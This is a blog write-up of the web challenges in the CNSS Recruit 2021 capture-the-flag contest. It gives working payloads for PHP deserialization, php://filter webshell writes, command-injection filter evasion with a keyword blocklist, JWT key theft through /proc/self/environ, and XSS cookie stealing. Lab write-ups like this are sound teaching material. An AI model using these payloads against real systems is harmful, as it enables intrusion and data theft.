cnss2021-web部分
还差4题web没写~还是差点了捏
比赛大概是31号结束的?后面还想等wp复现捏,可惜变成难忘今宵啦
21号在群里听师傅们提到cnss,求来了链接CNSS Recruit 2021
发现很多学校的招新赛都挺有意思的,也能发现自己平时没注意到的知识点
打ctf还是得多做题,多和师傅们交流~
🙋 我一定要试试 Web 方向
Web 方向做题须知
- Web 题目为每道题目描述里给出的链接地址所指向的 Web 应用
- flag 格式统一为 cnss{} 花括号中间为有意义的字符串,通常会以 _ 区分单个单词(CNSS 大小写形式都有可能,括号内包裹的内容一般会经过 leet 处理)
- hint 意为提示,是出题人给出的解题提示,并不要求你在 flag 提交处作答
- 当你成功得到 flag 时,flag 一定是以 cnss{} 的形式显示的 所以不需要自己手动添加 cnss{} (如果有那你找到的一定不是 flag
做题要求
- 要会看 HTML 源码
- 能读懂简单的 PHP 代码
- 懂一点点 HTTP 报文
- 学会使用 Burpsuite 的 Repeater, Intruder 模块
常用工具
- Burp Suite
- Metasploit
- AntSword
- F12 开发者工具,插件如 Hackbar 等
PS: 浏览器请使用 Firefox/Chrome
学习参考
- 学会使用 搜索引擎(尤指 Google) 搜索关键字以找到自己需要的学习资料
- 从别人的 博客文章/官方文档 中学习
- 书籍和视频中学到的大多是系统全面的知识,但是相应的效率便低了
- 针对性学习和系统性学习,需要每个人结合自身情况进行均衡
CNSS{VVeb_i5_v3ry_1nt3re5ting}
[👶Baby] Signin
改用post传参得到源码
<?php
error_reporting(0);
require_once("flag.php");
if($_SERVER['REQUEST_METHOD'] !=='POST'){
die("Please Change Your Method!");
exit();
}else{
if(!isset($_POST["CNSS"])){
show_source(__FILE__);
}
else if($_POST["CNSS"] === "join"){
if((isset($_GET["web"])) && (($_GET["web"]) === "like")){
setcookie("flag","0");
if($_COOKIE['flag'] === '1'){
echo $flag;
}else{show_source(__FILE__);}
}else{
show_source(__FILE__);
}
}
}
[👶Baby]D3buger
禁用右键和f12等等一系列操作
先找个页面开f12,再hackbar访问就行
flag在js里, 彩蛋是Never Gonna Give You Up - Rick Astley_bilibili
view-source:http://81.68.109.40:30001/js/fuck.js
[👶Baby]GitHacker
感谢捷宝的贡献
Git_Extract:gakki429/Git_Extract: 提取远程 git 泄露或本地 git 的工具 (github.com)
把.git目录弄下来
执行fsck(文件系统检测)命令
git fsck --lost-found
这个命令会把悬空的blob恢复文件列举出来
这时就可以通过git show 11b2d674cc83c17990150726b4653bfe3c78c807
命令查看当前哈希值对象的具体内容
[😃Easy]更坑的数学题
import requests
import re
url = 'http://81.68.109.40:30005/'
s = requests.session()
r = s.get(url)
a = eval(re.search(r'(\d+[=\-*])+\d+', r.text).group())
print(s.post(url, data={'res': a}).text)
[😃Easy]Ezp#p
<?php
error_reporting(0);
require_once("flag.php");
show_source(__FILE__);
$pass = '0e0';
$md55 = $_COOKIE['token'];
$md55 = md5($md55);
if(md5($md55) == $pass){
if(isset($_GET['query'])){
$before = $_GET['query'];
$med = 'filter';
$after = preg_replace(
"/$med/", '', $before
);
if($after === $med){
echo $flag1;
}
}
$verify = $_GET['verify'];
}
extract($_POST);
if(md5($verify) === $pass){
echo $$verify;
}
?>
poc
<?php
$pass = '0e0';
for ($i=0;$i<=100000000000;$i++){
$md55 = $i;
if(md5(md5($md55)) == $pass){
echo $i;
exit(0);
}
}
flag1:找md5(md5(xxx))为0exxx的值,这里给一个179122048
,filter双写绕过
flag2:利用extract变量覆盖的特性,传入verify为flag2,pass为对应的md5值即可
[😃Easy]China Flag
如下,再次感谢捷宝作出的贡献,我还是浮躁了,整到xff就没想着尝试了==
[😮Mid]太极掌门人
<?php
error_reporting(0);
show_source(__FILE__);
function deleteDir($path) {
if (is_dir($path)) {
$dirs = scandir($path);
foreach ($dirs as $dir) {
if ($dir != '.' && $dir != '..') {
$sonDir = $path.'/'.$dir;
if (is_dir($sonDir)) {
deleteDir($sonDir);
@rmdir($sonDir);
} elseif ($sonDir !== './index.php'
&& $sonDir !== './flag.php') {
@unlink($sonDir);
}
}
}
@rmdir($path);
}
}
$devil = '<?php exit;?>';
$goods = $_POST['goods'];
file_put_contents($_POST['train'], $devil . $goods);
sleep(1);
deleteDir('.');
?>
参考文章:
<?php exit;?>
绕过 - cooyf's blog- 谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)
- 探索php伪协议以及死亡绕过 - FreeBuf网络安全行业门户
解法1:base64编码与解码
原理是base64不会解码<
>
?
;
空格
这些,那么把代码base64编码,再用php://filter协议写入就行
ps:注意base64是以4byte一组解码,<?php exit;?>
除了<
>
?
;
空格
这些,一共7
个字符,那么给它随便加一个a就行
payload:
goods=aPD9waHAgc3lzdGVtKCJjYXQgLi9mbGFnLnBocCIpOw==&train=php://filter/write=convert.base64-decode/resource=a.php
如上生成的代码就会是:
<?php exit;?>aPD9waHAgc3lzdGVtKCJjYXQgLi9mbGFnLnBocCIpOw==
然后base64解码后写入a.php里
(我写的是<?php system("cat ./flag.php");)
解法2:strip_tags()字符串操作函数
strip_tags (PHP 4, PHP 5, PHP 7, PHP 8)
strip_tags — 从字符串中去除 HTML 和 PHP 标记
<?php exit; ?>
实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
跟着P神的文章测试一下:
<?php
echo readfile('php://filter/read=string.strip_tags/resource=php://input');
可以看到传入的<?php exit; ?>
已经被去除了
但我们要写入的一句话也是php代码,如果使用了strip_tags,一句话同样会被去除掉
不过php://filter
允许使用多个过滤器,只需要使用|
间隔开来就好
先用strip_tags
去除<?php exit; ?>
,再用base64-decode解码咱们传入的base64编码后的一句话
payload:
goods=PD9waHAgc3lzdGVtKCJjYXQgLi9mbGFnLnBocCIpOw==&train=php://filter/write=string.strip_tags|convert.base64-decode/resource=a.php
解法3:string.rot13
<?php exit; ?>
在经过rot13编码后会变成<?cuc rkvg; ?>
, 在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了:
用的是过滤器string.rot13
,
需要php不开启短标签(short_open_tag)即php.ini中short_open_tag = Off
goods=PD9waHAgc3lzdGVtKCJjYXQgLi9mbGFnLnBocCIpOw==&train=php://filter/write=string.rot13/resource=a.php
拿flag
因为会删掉当前目录下的文件,所以得条件竞争访问,上面的payload都可以用
post,然后bp抓包,爆破模块疯狂重发包~
访问a.php,查看源代码
[😮Mid]BlackPage
<!-- \<\?phps
$file = $_GET["file"];
$blacklist = "(**blacklist**)";
if (preg_match("/".$blacklist."/is",$file) == 1){
exit("Nooo,You can't read it.");
}else{
include $file;
}
//你能读到 mybackdoor.php 吗?
---->
伪协议读mybackdoor.php
http://121.41.7.149:65002/?file=php://filter/convert.base64-encode/resource=mybackdoor.php
得到mybackdoor.php源码:
<?php
error_reporting(0);
function blacklist($cmd){
$filter = "(\\<|\\>|Fl4g|php|curl| |0x|\\\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\\$\\{IFS\\}|index|\\*)";
if (preg_match("/".$filter."/is",$cmd)==1){
exit('Go out! This black page does not belong to you!');
}
else{
system($cmd);
}
}
blacklist($_GET['cmd']);
?>
''
绕过关键字过滤、%09
(制表符)绕过空格、占位符?
匹配
payload:
http://121.41.7.149:65002/mybackdoor.php?cmd=ca''t%09/Fl??????????
[😯Mid]bestLanguage
<?php
error_reporting(0);
class superGate{
public $gay = true;
function __destruct(){
echo file_get_contents("/flag");
die();
}
}
$p = $_GET['p'];
$honey = unserialize($p);
if(preg_match("/superGate/i", serialize($honey))){
echo "no";
throw Exception();
}
show_source(__FILE__);
superGate是肯定要的--,但是会触发throw Exception();
抛出异常从而停止执行代码
先本地测试一下,报错是调用了未定义的函数 Exception()
那么定义一个就行--
poc:
<?php
class superGate{
public $gay = true;
function __construct(){
$this->gay = new Exception("666");
}
}
$a = new superGate();
echo serialize($a);
[😮Mid]To_be_Admin
/read接口可以读文件,/admin判断用户
一开始是想jwt的,但是爆破爆不出来密钥,猜测是得read读取一些什么
突破口是,捷宝搜到说可以读环境变量/proc/self/environ
http://121.41.7.149:65003/read?file=/proc/self/environ
发现有个key,作为密钥,jwtio改写一下就可
[😮Mid]To_be_Admin_Again
# index.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
highlight_file(__FILE__);
class CNSS{
private $username = 'guest';
private $code = 'phpinfo();';
public function __construct(){
$this->username = $username;
$this->code = $cmd;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if($this->username === 'admin'){
eval($this->code);
}
}
}
// You must be interested in save.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
highlight_file(__FILE__);
if (isset($_GET['cnss'])) {
$_SESSION['cnss'] = $_GET['cnss'];
}
逻辑很简单,绕过__wakeup使得username为admin即可
主要利用点在于:两个文件的session.serializehandler不同引起的反序列化: 带你走进PHP session反序列化漏洞 - 先知社区 (aliyun.com) [深入浅析PHP的session反序列化漏洞问题_php实例脚本之家 (jb51.net)](https://www.jb51.net/article/116246.htm)
步骤如下:
poc:
<?php
class CNSS{
private $username = 'admin';
private $code = 'system("cat /flag");';
}
$a = new CNSS();
echo urlencode('|'.serialize($a));
- 生成payload,记得改属性数目来绕过__wakeup
- 访问save.php借助cnss传payload,让网页获得seesion数据
- 再从save.php跳转至index.php,确保session不变,由于引擎不同就会触发反序列化,然后再触发
__destruct()
方法执行eval()
payload:
http://121.41.7.149:65004/save.php?cnss=%7CO%3A4%3A%22CNSS%22%3A3%3A%7Bs%3A14%3A%22%00CNSS%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A10%3A%22%00CNSS%00code%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D
然后再访问:即可触发
http://121.41.7.149:65004/
[😮Mid]To_be_Admin_Again_and_Again
明显的xss
xss平台弹cookie过来就可以
验证码用脚本跑:
import hashlib
l = 'qwertyuiopasdfghjklzxcvbnm1234567890'
for i in l:
for j in l:
for k in l:
for m in l:
for n in l:
for o in l:
for p in l:
for q in l:
f = i + j + k + m + n + o + p + q
sha = hashlib.sha256(f.encode(encoding='UTF-8')).hexdigest()
if sha[:6] == 'bacbd7':
print(f)
print(sha)
exit(0)
拿到cookie后访问/admin即可